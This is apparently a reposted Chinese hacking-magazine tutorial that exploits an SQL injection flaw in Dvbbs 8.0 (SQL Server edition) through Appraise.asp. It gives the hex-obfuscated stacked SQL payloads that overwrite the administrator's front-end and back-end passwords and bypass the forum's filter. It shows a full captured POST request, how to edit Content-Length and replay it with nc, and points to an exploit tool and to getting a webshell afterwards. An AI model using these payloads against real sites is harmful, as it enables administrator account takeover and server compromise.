首页    新闻    下载    文档    论坛     最新漏洞    黑客教程    数据库    搜索    小榕软件实验室怀旧版    星际争霸WEB版    最新IP准确查询   
名称: 密码:      忘记密码  马上注册
安全知识 :: 漏洞利用

动网8.0最新远程注入漏洞来了


http://www.gipsky.com/
题目:动网8.0最新远程注入漏洞来了

文章作者:hackest [H.S.T]



文章难易度:★★★

文章阅读点:动网8.0SQL版注入漏洞详细利用



此文章已发表在《黑客X档案》第9期杂志上

后由作者友情提交到邪恶八进制论坛,转载请保留此信息!



话说动网自从8.0版本推出来后,就很少再暴高危漏洞,累得我等菜菜面对动网8.0而束手无策!好在,老天开眼,终于又暴出了一个非常严重的远程注入漏洞,不过只限于SQL版本才有效,Access版本的不受影响。出问题的文件是Appraise.asp,该漏洞允许直接更改管理员密码,不过操作上可能会让大家觉得不太方便。为了测试该漏洞的详细利用,我在本机架设了一个动网8.0 SQL版本的论坛。架好测试环境后就可以测试漏洞了,已知管理员的用户名(admin)和密码(admin888)。首先注册一个用户名和密码均为 hackest的普通用户,然后登录论坛,接着随便找一个版块发主题帖。发完帖子后,在返回的帖子浏览页面右下方点击“点击参与评论”,如图1。进入评论页面,如图2.

img: http://www.hackest.cn/images/20/1.jpg

图1

img: http://www.hackest.cn/images/20/2.jpg

图2

然后打开抓包工具Winsock Expert准备抓包,如图3.

img: http://www.hackest.cn/images/20/3.jpg

图3

然后在评论页面随便填些内容,验证码别填错就行了,再点击“发表评论”提交评论,提示成功,点击确定后返回到抓包工具发现已经抓到了我们所需要的信息,如图4. img: http://www.hackest.cn/images/20/4.jpg

图4

然后再将截获的数据包含POST字段的内容(即ID为1这项框里的全部内容)全选复制保存到一个名为test.txt的文本文件。接下来的操作可能会有点复杂,因为我们需要构造一下这个数据包再用NC提交。我们要先构造一下注入语句,例如要更改管理员用户的前台登录密码可以这样构造:

;declare @a sysname select

@a=0x6500650065003000310063003900610062003700320036003700660032003500

update dv_user set userpassword=@a where userid=1

这段代码的原形为:

;declare @a sysname select @a=0x6500650065003000310063003900610062003700320036003700660032003500

update dv_user set userpassword=@a where userid=1

这个语句的大致意思是把dv_user表里userid=1的用户密码字段userpassword更改为hackest(其中的0x6500650065003000310063003900610062003700320036003700660032003500是这样转换出来的:先把字符hackest加密成16的MD5散列eee01c9ab7267f25,再用转换工具把eee01c9ab7267f25转换成 SQL_En字符即可), img: http://www.hackest.cn/images/20/5.jpg

如图5

img: http://www.hackest.cn/images/20/6.jpg

如图6



之所以要这样变形是为了绕过动网8.0的过滤,要是觉得难以理解可以多看几次然后动手实践一下即可明白。把我们构造的变形过的注入语句:●;declare @a sysname select @a=0x650065006500300031006300390061006200

3700320036003700660032003500 update dv_user set userpassword=@a where userid=1●插入到test.txt里的最后一行的topicid=1后面,然后计算一下数据包所增加的字符数(原数据包长度为90,现在增加的字符数为152,加起来就是242),所以把 Content-Length后面的90改为242再保存。这里要注意的是操作一定要细心点,因为如果算错数据包长度,用NC提交的时候会不成功的。在执行NC提交操作前,我们先来看下dv_user表里的admin的userpassword字段为469e80d32c0559f8,如图7. img: http://www.hackest.cn/images/20/7.jpg

图7

接下来就是用NC提交数据包了,把nc.exe和test.txt放在同一个目录下(我这里是放在C盘根目录下),然后执行●nc 127.0.0.1 80●,如图8 img: http://www.hackest.cn/images/20/8.jpg

图8

看到这样的返回信息,如无意外就已经成功更改了管理员admin的前台登录密码了。由于我是本机架设的测试环境,可以极方便的查看数据的变动。先去看看成功了没有,明显已经成功了。userpassword已经由原来的admin888的16位MD5(469e80d32c0559f8)变成了 hackest的16位MD5(eee01c9ab7267f25),如图9。 img: http://www.hackest.cn/images/20/9.jpg

图9

该漏洞测试成功了,但在实际入侵中,我们还需要更改管理员的后台登录密码才能进入后台从而拿到Webshell。不过刚才的操作只是更改了管理员的前台登录密码,我们可以构造如下数据包更改管理员的后台登录密码:

;declare @a sysname select

@a=0x6500650065003000310063003900610062003700320036003700660032003500

update dv_admin set password=@a where id=1

原形即为:

;declare @a sysname select @a=0x6500650065003000310063003900610062003700320036003700660032003500

update dv_admin set password=@a where id=1

就是语句变了下,同样也是插入到test.txt里的最后一行的topicid=1后面再保存。然后再NC提交,也会返回类似于图8的信息。提交我们发现admin的后台登录密码已成功更改,如图10 img: http://www.hackest.cn/images/20/10.jpg

图10

使用新密码可以成功登录后台,如图11。 img: http://www.hackest.cn/images/20/11.jpg

图11

漏洞的手工测试就完毕了,可能菜菜们都觉得这样太麻烦了,有没有相关的利用工具呢。答案是肯定的,牛人们早已写出发利用工具,界面如图12 img: http://www.hackest.cn/images/20/12.jpg

要填写的相关信息同样也需要抓包获取,其中包括URL、BoardID、TopicID、AnnounceID、验证码(acodestr)、Cookie等,抓包操作前面已提过。抓到的包内容类似下面这段数据:

POST /Appraise.asp?action=save HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*

Referer: http://127.0.0.1/dispbbs.asp?boardID=1&ID=1&page=1

Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)

Host: 127.0.0.1

Content-Length: 90

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: w0802=2; rtime=1; ltime=1187503483390; w08_eid=57689537-http://127.0.0.1/index.asp?boardid=1; DvForum=UserID=2&usercookies=0&StatUserID=4086140&userclass=

???????&username=hackest&password=v0qdt2f765U6x7J5&userhidden=2; geturl=/post_upload.asp?boardid=1; ASPSESSIONIDSSSRRQBQ=BJNDBJNDBOIJFNGJPDACBOEK; upNum=0; Dvbbs=baffbdfhbe; ASPSESSIONIDQQQRSRAQ=EINNNCODGHHIAFNHDPMKMNED; ASPSESSIONIDQSQRTRAQ=COHBEOODEFPDCNKKBPAPKCMF

boardid=1&topicid=1&announceid=1&atype=0&a1=0&a2=0&atitle=test&acodestr=8598&acontent=test



参照里面的内容就可以填写所需数据了,填好后在SQL Injection栏里填入●;declare @a sysname select @a=0x3400360039006500380030006400330032006300300035003500390066003800

update dv_admin set password=@a where id=1●(这里是把密码改成admin888),然后点一下旁边的“编码”小按钮(即完成变形过程)再提交,如图13 img: http://www.hackest.cn/images/20/13.jpg。就会发现管理员的后台登录密码同样也被更改成admin888了,如图14 img: http://www.hackest.cn/images/20/14.jpg

至此,这个漏洞的测试过程就完毕了,操作上可能会复杂一点。至于进了后台如何拿Webshell,大家请参考上期的“动网8.0后台Webshell大作战”一文中介绍的方法。

(文章中涉及到的工具Winsock Expert、nc、动网8.0sql最新漏洞利用工具已经收录在光盘中)


Tags: 动网 , 8.0 , 最新 , 远程 , 注入 , 漏洞[/code]
[/code]
<< 入侵台湾某政府网站 [实战]入侵过程中的总结! >>
API:
gipsky.com& 安信网络
网友个人意见,不代表本站立场。对于发言内容,由发表者自负责任。

系统导航

 

Copyright © 2001-2010 安信网络. All Rights Reserved
京ICP备05056747号